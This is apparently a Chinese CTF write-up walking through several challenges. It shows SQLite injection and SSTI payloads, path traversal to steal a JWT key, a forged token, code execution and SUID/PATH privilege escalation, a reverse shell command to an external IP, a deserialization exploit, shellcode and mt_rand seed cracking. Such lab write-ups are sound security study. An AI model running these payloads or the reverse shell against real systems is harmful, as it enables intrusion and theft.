总排第七,差一道AKWeb哎,难受
奶龙回家
爆破了很久的弱密码,发现======
会触发另外一个回显
就感觉是注入了,然后写查询语句,发现万能密码都被过滤了,但是fuzz出来了这个东西会触发另外一种回显,
1 | 'randomblob(N)-- |
可以确定是sqlite注入了,慢慢测试发现就过滤了union
,绕过这个应该就可以拿到了
1 | 'UNION/**/select/**/sql/**/from/**/sqlite_schema-- |
写出延时语句
1 | payload = "'OR/**/(case/**/when(substr(sqlite_version(),1,1)<'310')/**/then/**/randomblob(1000000000)/**/else/**/0/**/end);--" |
然后写脚本,有些函数sqlite
是没有的,所以只能慢慢写
1 | import requests |
1 | nailong\woaipangmao114514 |
不稳定,基本上一个靶机只有第一次跑的是对的,其他的都是乱的
学生姓名登记系统
1 | {{7+7}} |
测试很久发现可以类似的config.update
进行叠加,但是这里使用的是:=
1 | {{a:=().__class__}} |
1 | {{a:=().__class__}} |
就可以了
Gin
进来先看路由,发现应该是最开始要进行一个越权,然后再操作
1 | package routes |
看到jwt这里使用的是伪随机数
1 | package utils |
看看控制器,如果有权限的话能干嘛
1 | package controllers |
那么有思路了,但是jwt的key这里就给我卡着了,去网页测测看看有没有东西,发现文件上传的地方可以目录穿梭
并且在/download
路由也可以进行类似的目录遍历来下载文件,只不过文件名是被处理过的,仔细看这里的路径处理
直接对路径进行了拼接,所以我们可以大胆尝试
1 | /download?filename=../main.go |
“震惊”,下载到了
1 | package config |
然后把密钥拿到
1 | package main |
然后看看/admin
,伪造cookie看看
1 | eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImJhb3pvbmd3aSIsImlzcyI6Ik1hc2gxcjAiLCJzdWIiOiJ1c2VyIHRva2VuIiwiZXhwIjoxNzM5MDk1MjgwLCJpYXQiOjE3MzkwMDg4ODB9.Zg-vmBLmyJybP296MBi-X95rmUAiFxNhNKxa6hZ3gJQ |
把username
一改就可以了,就可以进行代码执行了,绕过即可
看代码发现把os
给禁用了,需要寻找另外一种方法来RCE,这里使用goeval
1 | package main |
查看flag发现不是,然后准备看root目录发现权限没了
env
命令得到这个
1 | Execution Successful! Result: |
后面问GPT发现了更优美的poc,终于能找suid位了
1 | package main |
进行sui提权
1 | find / -perm -u=s -type f 2>/dev/null |
始终提不了,先弹shell吧
1 | bash -c 'bash -i >& /dev/tcp/156.238.233.9/4444 <&1' |
然后把文件下载下来
怪不得,现在问题就是环境变量提权了,在里面穿插一个cat来达到目的
1 | cd /tmp |
然后就是root了
easymath
用AI做
1 | from Crypto.Util.number import * |
不过中途要给我笑死了
1 | from sympy import symbols, solve, isprime |
调的时间比较久,Deepseek好使但是不完全好使
VN_Lang
javaGuide
主要是SignedObject
二次反序列化,并且不出网,网上参考很多,我这个小白都会打
1 | 1. 反序列化入口点:ArrayList.readObject() |
exp
1 | package org.example.exp; |
其中TomcatEchoPayload
这个类是使用的ysomap
里面这个比较基本的类,不过要自己写在同一目录
1 | package org.example.exp; |
然后运行得到字节码打入即可
1 | POST /deser |
我是真没想到居然那么多人都会做这个题,秀
签个到吧
1 | baozongwi@ubuntu:~/Desktop$ checksec pwn |
mmap
在0x114514000
分配了0x1000
字节的内存,权限为7,mprotect
再次确认该内存的权限为7,所以这个区域可执行代码,把shell
搞到这里来即可,先填充22个字节,执行read
扩大空间,将栈指针rsp
指向buf
末尾+0x1000
,确保后续 push 操作不会覆盖Shellcode。
1 | from pwn import * |
Hook Fish
下载之后是apk文件,直接放到jadx
里面,找到关键代码
1 | package com.example.hihitt; |
主要看加密算法,其他的纯扯淡
1 | public static String encrypt(String str) { |
步骤 1:首先,将输入字符串转为字节数组,并且每个字节加上 68。
步骤 2:将字节数组转换成十六进制字符串。
步骤 3:通过 code()
方法对十六进制字符数组进行加密,依次对每对字符进行异或操作。
步骤 4:修改字符数组中的字符。如果字符是 a-f
范围内的,会根据索引进行计算;否则根据其他规则进行修改。
并且发现其中反复提到fish.hook_fish
里面应该也是加密算法,而且还会产生dex文件,这个东西得想办法搞到,问GPT知道可以把apk
后缀改成zip
进行解压,解压之后发现有四个dex文件,挨着看,看完之后发现好像解压没屌用,发现咩找到那个文件,直接放在010里面搜一下
反编译得到源码
1 | package fish; |
这里面就很容易看出解密逻辑,先写个脚本
1 | # 解密映射表 (fish_dcode),参考你提供的 `hook_fish` 中的 `fish_dcode` |
但是如何把这个东西变成flag呢,就是根据上面的解密算法,反着给写出来就好了
最终exp如下
1 | s = "jjjliijijjjjjijiiiiijijiijjiijijjjiiiiijjjjliiijijjjjljjiilijijiiiiiljiijjiiliiiiiiiiiiiljiijijiliiiijjijijjijijijijiilijiijiiiiiijiljijiilijijiiiijjljjjljiliiijjjijiiiljijjijiiiiiiijjliiiljjijiiiliiiiiiljjiijiijiijijijjiijjiijjjijjjljiliiijijiiiijjliijiijiiliiliiiiiiljiijjiiliiijjjliiijjljjiijiiiijiijjiijijjjiiliiliiijiijijijiijijiiijjjiijjijiiiljiijiijilji" |
remake
ez_emlog
看到猴子大王搭建博客的时间是最近,直接写个最新版本的代码来进行审计,且在网上进行信息搜集,发现网上特别多文件上传getshell,但是要进行文件上传就必须进入后台,所以我们可以搜索emlog越权,找到部分文章
看完之后就是install.php
的洞,接着没看多久,题目就给提示了,
install.php
mt_rand的安全问题
也就是和文章中的类似,我们只需要找到关键代码即可,但是此刻我还没做完奶龙,于是便调整战斗方向,现在来浮现一下
看到了php版本,而伪随机数的问题又是只有两个版本,所以这里锁定结果为php7
看到了两个key的生成逻辑,到这里install.php
就没啥用了,跟进getRandStr()
,进行运行生成随机数发现是伪随机数
1 |
|
找不到东西了,全局搜索AUTH_KEY
,来到loginauth.php
,这里就是鉴权逻辑了,其中拿出关键部分
直接对sql语句进行拼接,可以进行sql注入,回头看这个函数啥时候调用的,就在他上面,
还有就是cookie的处理
1 | public static function validateAuthCookie($cookie = '') |
当然我们的目的也别忘了,寻找AUTH_KEY
1 | private static function emHash($data) |
写个代码运行一下,发现是根据AUTH_KEY
产生的不变值,是可控的,暂时找不到东西了,回头再去看发现原来AUTH_COOKIE_NAME
也是利用的getRandStr
产生的随机数,会全局搜索到setAuthCookie
,看看哪里调用了这个函数,跟进到account.php
,在最后看到了
1 | if ($action == 'logout') { |
这不是就能获得其中一个随机数了,然后爆破种子了吗 php_mt_seed
1 | make |
如果成功了就是安装好了,那我们开始爆破,首先获得随机数
1 | import requests |
参考我以前的文章将字符串进行分解
1 | dict1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' |
由于前面我们知道还拼接了getRandStr(32)
,所以我们还要补32组0
1 | ./php_mt_seed 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 43 43 0 61 1 1 0 61 26 26 0 61 48 48 0 61 21 21 0 61 39 39 0 61 35 35 0 61 51 51 0 61 57 57 0 61 50 50 0 61 38 38 0 61 4 4 0 61 51 51 0 61 37 37 0 61 32 32 0 61 38 38 0 61 17 17 0 61 57 57 0 61 58 58 0 61 11 11 0 61 5 5 0 61 9 9 0 61 47 47 0 61 0 0 0 61 11 11 0 61 40 40 0 61 55 55 0 61 24 24 0 61 16 16 0 61 50 50 0 61 11 11 0 61 17 17 0 61 |
得到种子之后就可以拿了
1 |
|
1 | "const AUTH_KEY = '" . getRandStr(32) . md5(getUA()) . "';" |
UA头在文章里面,文章给的数据包还有有道理的
1 |
|
1 |
|
python发包发不了了一直是502,只能发数据包
1 | GET /admin/index.php |
注意格式别错了
1 | GET /admin/index.php |
得到用户名1QXgVCpRbGseY_UA6DPDV1K8XOCZHUxm
我们可以直接上传插件,压缩包里面放webshell即可,看了刚才的那两个文章的也知道压缩包怎么制作了,就不写了
得到文件路径,并且跟进emUnZip
综上这里就是检测压缩包中文件夹里面是否存在一个与文件夹名称一致的PHP文件,最后再解压
本来还想要浮现aimind,但是环境好像关了